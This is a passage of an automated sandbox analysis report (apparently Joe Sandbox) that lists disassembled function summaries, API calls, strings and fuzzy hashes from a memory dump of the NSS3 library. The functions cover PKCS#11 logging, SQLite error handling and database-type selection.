PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6CAB6C96

Part of subcall function 6CA61240: TlsGetValue.KERNEL32(00000040,?,6CA6116C,NSPR_LOG_MODULES), ref: 6CA61267
Part of subcall function 6CA61240: EnterCriticalSection.KERNEL32(?,?,?,6CA6116C,NSPR_LOG_MODULES), ref: 6CA6127C
Part of subcall function 6CA61240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6CA6116C,NSPR_LOG_MODULES), ref: 6CA61291
Part of subcall function 6CA61240: PR_Unlock.NSS3(?,?,?,?,6CA6116C,NSPR_LOG_MODULES), ref: 6CA612A0

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6CAB6CAA

Strings

dbm, xrefs: 6CAB6CA4
NSS_DEFAULT_DB_TYPE, xrefs: 6CAB6C91
rdb:, xrefs: 6CAB6C69
sql:, xrefs: 6CAB6C52
dbm:, xrefs: 6CAB6C3A
extern:, xrefs: 6CAB6C7E

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: strncmp$CriticalEnterSectionSecureUnlockValuegetenvstrcmp
String ID: NSS_DEFAULT_DB_TYPE$dbm$dbm:$extern:$rdb:$sql:
API String ID: 4221828374-3736768024
Opcode ID: dc9596dfbd665f38fa32418286c7f94141044fe1f9351c74d3fe4b0e00264bfa
Instruction ID: 8f86f5e8055021d152823b0265255728750e83dad6f912f5653be2e8eec479f0
Opcode Fuzzy Hash: dc9596dfbd665f38fa32418286c7f94141044fe1f9351c74d3fe4b0e00264bfa
Instruction Fuzzy Hash: 2A018FA570338637EA0027BB6D5AF26265C9B53169F180431FE04F1A81EBB3F61540B9

Function 6CAC25F0 Relevance: 19.9, APIs: 8, Strings: 5, Instructions: 403stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CACA0A0: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6CA9A5DF,?,00000000,6CA728AD,00000000,?,6CA9A5DF,?,object), ref: 6CACA0C0
Part of subcall function 6CACA0A0: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6CA9A5DF,?,00000000,6CA728AD,00000000,?,6CA9A5DF,?,object), ref: 6CACA0E8

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CAC2834
memcmp.VCRUNTIME140(00000000,00000020,00000020,?,?,?,?,?,?,?,?), ref: 6CAC284B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CAC2A98
memcmp.VCRUNTIME140(00000000,?,00000020,?,?,?,?,?,?,?,?,?,?), ref: 6CAC2AAF
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CAC2BDC
memcmp.VCRUNTIME140(00000000,?,00000010,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAC2BF3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CAC2D23
memcmp.VCRUNTIME140(00000000,?,00000010,?,?,?,?,?,?,?,?,?), ref: 6CAC2D34

Strings

serial, xrefs: 6CAC2AC2
manufacturer, xrefs: 6CAC285E
model, xrefs: 6CAC2C06
, xrefs: 6CAC2A8E, 6CAC2AAB
token, xrefs: 6CAC25FA

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: memcmpstrlen$strcmp
String ID: $manufacturer$model$serial$token
API String ID: 2407968032-2628435027
Opcode ID: be57385a32a1a3f05db2acebf12d62b0aab434e4c459170f9fc7ede629987a80
Instruction ID: 67dabbda6a812cbb8b0c501f4e6125c7168da31e0104e4d9e15f03d08f08d19a
Opcode Fuzzy Hash: be57385a32a1a3f05db2acebf12d62b0aab434e4c459170f9fc7ede629987a80
Instruction Fuzzy Hash: B102C1A1F0C3C96EF7328A16D88CBD52AE05B1531CF4D22F5DA494FA93C6AC49C99352

Function 6CB58780 Relevance: 19.7, APIs: 6, Strings: 5, Instructions: 443COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,-00000001,-00000001,00000000,?,?,6CB5849F,?,-00000001,-00000001,00000000,?,00000000,?,00000000), ref: 6CB5884C
sqlite3_free.NSS3(?,?,?,?,?,?,-00000001,00000000,?,?,6CB5849F,?,-00000001,-00000001,00000000,?), ref: 6CB588F1
memset.VCRUNTIME140(00000000,00000000,00000000,?,?,?,?,?,?,-00000001,00000000,?,?,6CB5849F,?,-00000001), ref: 6CB58929
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,?,?,-00000001,00000000,?,?,6CB5849F,?), ref: 6CB58B4C
sqlite3_free.NSS3(?,?,?,?,?,?,?,-00000001,00000000,?,?,6CB5849F,?,-00000001,-00000001,00000000), ref: 6CB58B7C
sqlite3_free.NSS3(0000000A,?,?,?,?,?,?,?,?,?,-00000001,00000000,?,?,6CB5849F,?), ref: 6CB58CCF

Strings

no more rows available, xrefs: 6CB58B0E
another row available, xrefs: 6CB58AB1
abort due to ROLLBACK, xrefs: 6CB58B04
unknown error, xrefs: 6CB588DD, 6CB58B1B
%s.xBestIndex malfunction, xrefs: 6CB58AEC

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: sqlite3_free$memset
String ID: %s.xBestIndex malfunction$abort due to ROLLBACK$another row available$no more rows available$unknown error
API String ID: 2669552516-2256271834
Opcode ID: 84c844d3442f79e9e266be680930315f41c6e8e2b2aeb7e69677cfd01cad393f
Instruction ID: c1249beb520e5e5998b7f624da90804e2c5b6fc9acaa16039d1e2c4b9ee1b0c7
Opcode Fuzzy Hash: 84c844d3442f79e9e266be680930315f41c6e8e2b2aeb7e69677cfd01cad393f
Instruction Fuzzy Hash: DA0200B5E10645CFDB14CF58C4806AEB7F2FF48314F54826AD856ABB51D332E8A2CB91

Function 6CAC4E60 Relevance: 19.7, APIs: 13, Instructions: 186COMMON

Download Yara Rule

APIs

PR_SetErrorText.NSS3(00000000,00000000,?,6CA878F8), ref: 6CAC4E6D

Part of subcall function 6CA609E0: TlsGetValue.KERNEL32(00000000,?,?,?,6CA606A2,00000000,?), ref: 6CA609F8
Part of subcall function 6CA609E0: malloc.MOZGLUE(0000001F), ref: 6CA60A18
Part of subcall function 6CA609E0: memcpy.VCRUNTIME140(?,?,00000001), ref: 6CA60A33

PR_SetError.NSS3(FFFFE09A,00000000,?,?,?,6CA878F8), ref: 6CAC4ED9

Part of subcall function 6CAB5920: NSSUTIL_ArgHasFlag.NSS3(flags,printPolicyFeedback,?,?,?,?,?,?,00000000,?,00000000,?,6CAB7703,?,00000000,00000000), ref: 6CAB5942
Part of subcall function 6CAB5920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckIdentifier,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6CAB7703), ref: 6CAB5954
Part of subcall function 6CAB5920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckValue,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CAB596A
Part of subcall function 6CAB5920: SECOID_Init.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CAB5984
Part of subcall function 6CAB5920: NSSUTIL_ArgGetParamValue.NSS3(disallow,00000000), ref: 6CAB5999
Part of subcall function 6CAB5920: free.MOZGLUE(00000000), ref: 6CAB59BA
Part of subcall function 6CAB5920: NSSUTIL_ArgGetParamValue.NSS3(allow,00000000), ref: 6CAB59D3
Part of subcall function 6CAB5920: free.MOZGLUE(00000000), ref: 6CAB59F5
Part of subcall function 6CAB5920: NSSUTIL_ArgGetParamValue.NSS3(disable,00000000), ref: 6CAB5A0A
Part of subcall function 6CAB5920: free.MOZGLUE(00000000), ref: 6CAB5A2E
Part of subcall function 6CAB5920: NSSUTIL_ArgGetParamValue.NSS3(enable,00000000), ref: 6CAB5A43

SECMOD_FindModule.NSS3(?,?,?,?,?,?,?,?,?,6CA878F8), ref: 6CAC4EB3

Part of subcall function 6CAC4820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6CAC4EB8,?,?,?,?,?,?,?,?,?,?,6CA878F8), ref: 6CAC484C
Part of subcall function 6CAC4820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6CAC4EB8,?,?,?,?,?,?,?,?,?,?,6CA878F8), ref: 6CAC486D
Part of subcall function 6CAC4820: PR_SetError.NSS3(FFFFE09A,00000000,00000000,-00000001,00000000,?,6CAC4EB8,?), ref: 6CAC4884

SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,?,6CA878F8), ref: 6CAC4EC0

Part of subcall function 6CAC4470: TlsGetValue.KERNEL32(00000000,?,6CA87296,00000000), ref: 6CAC4487
Part of subcall function 6CAC4470: EnterCriticalSection.KERNEL32(?,?,?,6CA87296,00000000), ref: 6CAC44A0
Part of subcall function 6CAC4470: PR_Unlock.NSS3(?,?,?,?,6CA87296,00000000), ref: 6CAC44BB

TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,6CA878F8), ref: 6CAC4F16
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6CA878F8), ref: 6CAC4F2E
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6CA878F8), ref: 6CAC4F40
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6CA878F8), ref: 6CAC4F6C
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6CA878F8), ref: 6CAC4F80
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6CA878F8), ref: 6CAC4F8F
PK11_UpdateSlotAttribute.NSS3(?,6CB9DCB0,00000000), ref: 6CAC4FFE
PK11_UserDisableSlot.NSS3(0000001E), ref: 6CAC501F
SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,6CA878F8), ref: 6CAC506B

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: Value$Param$CriticalEnterErrorFlagModuleSectionUnlockfree$DestroyK11_Slotstrcmp$AttributeDisableFindInitTextUpdateUsermallocmemcpy
String ID:
API String ID: 560490210-0
Opcode ID: 47d851fb2ca52185b80d439087d3908a6afb3c7f235b53ee91db596be2fb6269
Instruction ID: 3bbd4e7c401a276e3dda7dd91a8f138c161fbb280fd5cd344d1fcda70e753f9b
Opcode Fuzzy Hash: 47d851fb2ca52185b80d439087d3908a6afb3c7f235b53ee91db596be2fb6269
Instruction Fuzzy Hash: AD51F1B5A002059FEB019F24ED01AAA76B4FF0531DF180134EC0687A01FB31E998CAD3

Function 6CA6ACC0 Relevance: 19.6, APIs: 13, Instructions: 150stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA6ACE2
malloc.MOZGLUE(00000001), ref: 6CA6ACEC
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CA6AD02
TlsGetValue.KERNEL32 ref: 6CA6AD3C
calloc.MOZGLUE(00000001,?), ref: 6CA6AD8C
PR_Unlock.NSS3 ref: 6CA6ADC0
free.MOZGLUE(00000000), ref: 6CA6AE48
PR_SetError.NSS3(FFFFE890,00000000), ref: 6CA6AE58
free.MOZGLUE(00000000), ref: 6CA6AE69
free.MOZGLUE(?), ref: 6CA6AE78
PR_Unlock.NSS3 ref: 6CA6AE8C
free.MOZGLUE(?), ref: 6CA6AEAB
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CA6AEC7

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: free$Unlock$ErrorValuecallocmallocmemcpystrcpystrlen
String ID:
API String ID: 786543732-0
Opcode ID: 23de1f9bb05f91901773057709bd77567b9950f0a66bced86ef9bc752dd5876e
Instruction ID: 8fee539d77f594ff825d2ed54c25123bc3a2f9810943be96f429ff4a3249e787
Opcode Fuzzy Hash: 23de1f9bb05f91901773057709bd77567b9950f0a66bced86ef9bc752dd5876e
Instruction Fuzzy Hash: 65519DB4E01136DBDF00DFAAD8457AE77B5EB0A358F180025E815A3E00D331AE95CBE2

Function 6CAAADC0 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageSignInit), ref: 6CAAADE6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CAAAE17
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CAAAE29

Part of subcall function 6CB8D930: PL_strncpyz.NSS3(?,?,?), ref: 6CB8D963

PR_LogPrint.NSS3(?,00000000), ref: 6CAAAE3F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6CAAAE78
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CAAAE8A
PR_LogPrint.NSS3(?,00000000), ref: 6CAAAEA0

Strings

hKey = 0x%x, xrefs: 6CAAAE62, 6CAAAE72
(CK_INVALID_HANDLE), xrefs: 6CAAAE1F, 6CAAAE80
hSession = 0x%x, xrefs: 6CAAAE01, 6CAAAE11
C_MessageSignInit, xrefs: 6CAAADE1

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hKey = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageSignInit
API String ID: 332880674-605059067
Opcode ID: 768c6177ab9cda372ab70a9e959db52ef3cac74cf4d34fae8654022a9f3d7d4f
Instruction ID: e77ccd3a3a0b9315e0e0b262216a1242e58305a7cd373c9d7bb24d6482a5558c
Opcode Fuzzy Hash: 768c6177ab9cda372ab70a9e959db52ef3cac74cf4d34fae8654022a9f3d7d4f
Instruction Fuzzy Hash: E03128356011A4BFCB108F94DC98FAE77B6AB46319F484039E9095BA01DB30AC89CF92

Function 6CAAA650 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageDecryptInit), ref: 6CAAA676
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CAAA6A7
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CAAA6B9

Part of subcall function 6CB8D930: PL_strncpyz.NSS3(?,?,?), ref: 6CB8D963

PR_LogPrint.NSS3(?,00000000), ref: 6CAAA6CF
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6CAAA708
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CAAA71A
PR_LogPrint.NSS3(?,00000000), ref: 6CAAA730

Strings

C_MessageDecryptInit, xrefs: 6CAAA671
hKey = 0x%x, xrefs: 6CAAA6F2, 6CAAA702
(CK_INVALID_HANDLE), xrefs: 6CAAA6AF, 6CAAA710
hSession = 0x%x, xrefs: 6CAAA691, 6CAAA6A1

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hKey = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageDecryptInit
API String ID: 332880674-2055260395
Opcode ID: b13ed810f082f270043bc1f959db7d89307a608a3e3d22685527c910231e157f
Instruction ID: 551dd99da068ee62b5b3ca8afcc99831c6735f904f97eb11fa605f8ec8cae670
Opcode Fuzzy Hash: b13ed810f082f270043bc1f959db7d89307a608a3e3d22685527c910231e157f
Instruction Fuzzy Hash: BF31FA35601294ABCB009F94DD98FAF77B6AB46318F484429E509ABA11D734AC8DCF92

Function 6CB44C40 Relevance: 19.3, APIs: 3, Strings: 8, Instructions: 97COMMON

Download Yara Rule

APIs

sqlite3_value_text16.NSS3(?), ref: 6CB44CAF
sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CB44CFD
sqlite3_value_text16.NSS3(?), ref: 6CB44D44

Strings

no more rows available, xrefs: 6CB44D2E
another row available, xrefs: 6CB44D20
bad parameter or other API misuse, xrefs: 6CB44D05
abort due to ROLLBACK, xrefs: 6CB44D27, 6CB44D33
invalid, xrefs: 6CB44CF1
API call with %s database connection pointer, xrefs: 6CB44CF6
unknown error, xrefs: 6CB44D56
out of memory, xrefs: 6CB44C78, 6CB44C9E

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: sqlite3_value_text16$sqlite3_log
String ID: API call with %s database connection pointer$abort due to ROLLBACK$another row available$bad parameter or other API misuse$invalid$no more rows available$out of memory$unknown error
API String ID: 2274617401-4033235608
Opcode ID: 8cc9d6ae63fa439df0e250e692da2111e1d9edb234e760223a3adec7b091eaa8
Instruction ID: 5de6e1a894a75f9f261894de917edb164a59b947994d09882c034ee7f54cf1cf
Opcode Fuzzy Hash: 8cc9d6ae63fa439df0e250e692da2111e1d9edb234e760223a3adec7b091eaa8
Instruction Fuzzy Hash: 6E317A72A0C8E1A7D7080E24A8117A57325F782319F19C125D8245BE5ECF21AC76AFE3

Function 6CAA2DD0 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitPIN), ref: 6CAA2DF6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CAA2E24
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CAA2E33

Part of subcall function 6CB8D930: PL_strncpyz.NSS3(?,?,?), ref: 6CB8D963

PR_LogPrint.NSS3(?,00000000), ref: 6CAA2E49
PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6CAA2E68
PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6CAA2E81

Strings

ulPinLen = %d, xrefs: 6CAA2E7C
C_InitPIN, xrefs: 6CAA2DF1
pPin = 0x%p, xrefs: 6CAA2E63
(CK_INVALID_HANDLE), xrefs: 6CAA2E2C
hSession = 0x%x, xrefs: 6CAA2E0E, 6CAA2E1E

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPin = 0x%p$ ulPinLen = %d$ (CK_INVALID_HANDLE)$C_InitPIN
API String ID: 1003633598-1777813432
Opcode ID: 194fca0eea9d1c55030f9f408f01fa098ae1d529d4170b4384d7f6025fc5acb0
Instruction ID: 13b60b7ea21f2634cd42780cb43f35c3dbd39070e9c6d4737e773f8a980911d7
Opcode Fuzzy Hash: 194fca0eea9d1c55030f9f408f01fa098ae1d529d4170b4384d7f6025fc5acb0
Instruction Fuzzy Hash: 80313734602194ABCB208F55DD5CB5E7B75EB46318F084025E80CA7B11DB30ACDDCB92

Function 6CAA6EF0 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DigestUpdate), ref: 6CAA6F16
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CAA6F44
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CAA6F53

Part of subcall function 6CB8D930: PL_strncpyz.NSS3(?,?,?), ref: 6CB8D963

PR_LogPrint.NSS3(?,00000000), ref: 6CAA6F69
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6CAA6F88
PR_LogPrint.NSS3( ulPartLen = %d,?), ref: 6CAA6FA1

Strings

ulPartLen = %d, xrefs: 6CAA6F9C
(CK_INVALID_HANDLE), xrefs: 6CAA6F4C
pPart = 0x%p, xrefs: 6CAA6F83
hSession = 0x%x, xrefs: 6CAA6F2E, 6CAA6F3E
C_DigestUpdate, xrefs: 6CAA6F11

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPart = 0x%p$ ulPartLen = %d$ (CK_INVALID_HANDLE)$C_DigestUpdate
API String ID: 1003633598-226530419
Opcode ID: 3c458b78dc59123fbcd215b5e877cdac0a7c4ad18639dcc553f1ccf25fdb90da
Instruction ID: 4350efd3b72d663a209cc7528ca1d22d8d852457d66adb07acbc28e19b75975f
Opcode Fuzzy Hash: 3c458b78dc59123fbcd215b5e877cdac0a7c4ad18639dcc553f1ccf25fdb90da
Instruction Fuzzy Hash: 0B31E734602194AFDB009B68ED58F9E7BB5EB46319F084035E80897B11DB30AD8DCB92

Function 6CA12450 Relevance: 19.2, APIs: 15, Instructions: 440COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CA124BA
LeaveCriticalSection.KERNEL32(?), ref: 6CA1250D
EnterCriticalSection.KERNEL32(?), ref: 6CA12554
LeaveCriticalSection.KERNEL32(?), ref: 6CA125A7
EnterCriticalSection.KERNEL32(?), ref: 6CA12609
LeaveCriticalSection.KERNEL32(?), ref: 6CA1265F
EnterCriticalSection.KERNEL32(?), ref: 6CA126A2
LeaveCriticalSection.KERNEL32(?), ref: 6CA126F5
EnterCriticalSection.KERNEL32(?), ref: 6CA12764
LeaveCriticalSection.KERNEL32(?), ref: 6CA12898
EnterCriticalSection.KERNEL32(?), ref: 6CA128D0
EnterCriticalSection.KERNEL32(?), ref: 6CA12948
LeaveCriticalSection.KERNEL32(?), ref: 6CA1299B
EnterCriticalSection.KERNEL32(?), ref: 6CA129E2
LeaveCriticalSection.KERNEL32(?), ref: 6CA12A31

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
